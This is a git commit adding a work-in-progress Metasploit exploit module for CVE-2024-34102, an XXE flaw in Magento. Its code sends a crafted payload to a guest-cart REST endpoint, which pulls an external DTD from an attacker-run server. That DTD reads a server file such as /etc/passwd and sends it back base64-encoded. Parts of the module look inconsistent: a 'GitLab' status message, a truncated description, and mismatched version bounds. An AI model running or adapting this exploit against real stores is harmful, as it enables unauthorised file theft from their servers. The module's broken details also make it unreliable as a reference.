WIP - added module for CVE-2024-34102

on-behalf-of: @redwaysecurity info@redwaysecurity.com
This commit is contained in:
redwaysecurity.com
2024-07-04 16:24:39 +02:00
parent 2b6cf16b39
commit d89df446bf
@@ -0,0 +1,172 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Magento XXE Unserialize Remote Code Execution',
'Description' => %q{
This module exploits an XXE vulnerability in Magento 2.3.4-p2 and below which allows
},
'Platform' => 'php',
'License' => MSF_LICENSE,
'Author' =>
[ ' Sergey Temnikov '],
'Payload' =>
{},
'References' =>
[ 'CVE', '2024-34102',
'URL', 'https://github.com/spacewasp/public_docs/blob/main/CVE-2024-34102.md'
],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Automatic Targeting', { 'auto' => true } ],
],
'DisclosureDate' => '2024-07-28',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [ true, "The base path to the web application", "/"]),
OptString.new('FILE', [ true, "The file to read", "/etc/passwd"]),
])
end
def check
vprint_status('Trying to get the GitLab version')
# request to check if the target is vulnerable /magento_version
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/magento_version'),
})
# binding.pry
return CheckCode::Unknown('Could not detect the version.') unless res&.code == 200
# Magento/2.4 (Community)
version, edition = res.body.scan(/Magento\/([\d.]+) \(([^)]+)\)/).first
return CheckCode::Safe("Detected Magento #{edition} edition version #{version} which is not vulnerable") unless (
version <= (Rex::Version.new('2.4.7')) ||
version <= (Rex::Version.new('2.4.6-p5')) ||
version <= (Rex::Version.new('2.4.5-p7')) ||
version <= (Rex::Version.new('2.4.4-p8')) ||
version <= (Rex::Version.new('2.4.3-ext-7')) ||
version <= (Rex::Version.new('2.4.2-ext-7'))
)
CheckCode::Vulnerable("Detected Magento #{edition} edition version #{version} which is vulnerable")
end
def ent_eval
@ent_eval ||= rand_text_alpha_lower(4..8)
end
def leak_param_name
@leak_param_name ||= rand_text_alpha_lower(4..8)
end
def dtd_param_name
@dtd_param_name ||= rand_text_alpha_lower(4..8)
end
def make_xxe_dtd
ent_file = rand_text_alpha_lower(4..8)
%Q|
<!ENTITY % #{ent_file} SYSTEM "php://filter/convert.base64-encode/resource=#{datastore['FILE']}">
<!ENTITY % #{dtd_param_name} "<!ENTITY #{ent_eval} SYSTEM 'http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/?#{leak_param_name}=%#{ent_file};'>">
|
end
def xxe_xml_data
param_entity_name = rand_text_alpha_lower(4..8)
xml = "<?xml version='1.0' ?>"
xml += "<!DOCTYPE #{rand_text_alpha_lower(4..8)}"
xml += "["
xml += " <!ELEMENT #{rand_text_alpha_lower(4..8)} ANY >"
xml += " <!ENTITY % #{param_entity_name} SYSTEM 'http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{rand_text_alpha_lower(4..8)}.dtd'> %#{param_entity_name}; %#{dtd_param_name}; "
xml += "]"
xml += "> <r>&#{ent_eval};</r>"
xml
end
def xxe_request
post_data = <<~EOF
{
"address": {
"totalsCollector": {
"collectorList": {
"totalCollector": {
"sourceData": {
"data": "#{xxe_xml_data}",
"options": 12345678
}
}
}
}
}
}
EOF
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/rest/V1/guest-carts/1/estimate-shipping-methods'),
'ctype' => 'application/json',
'data' => post_data,
})
return true if (res && res.body.include?('[]'))
false
end
def exploit
start_service({
'Uri' => {
'Proc' => proc do |cli, req|
on_request_uri(cli, req)
end,
'Path' => '/'
}
})
xxe_request
rescue Timeout::Error => e
fail_with(Failure::TimeoutExpired, e.message)
end
def on_request_uri(cli, req)
super
data = ''
# vprint_status("Received request for #{req.uri}")
case req.uri
when /(.*).dtd/
data = make_xxe_dtd
when /#{leak_param_name}/
data = req.uri_parts['QueryString'].values.first
print_good("Received file #{datastore['FILE']} content")
puts(Base64.decode64(data))
end
send_response(cli, data)
end
end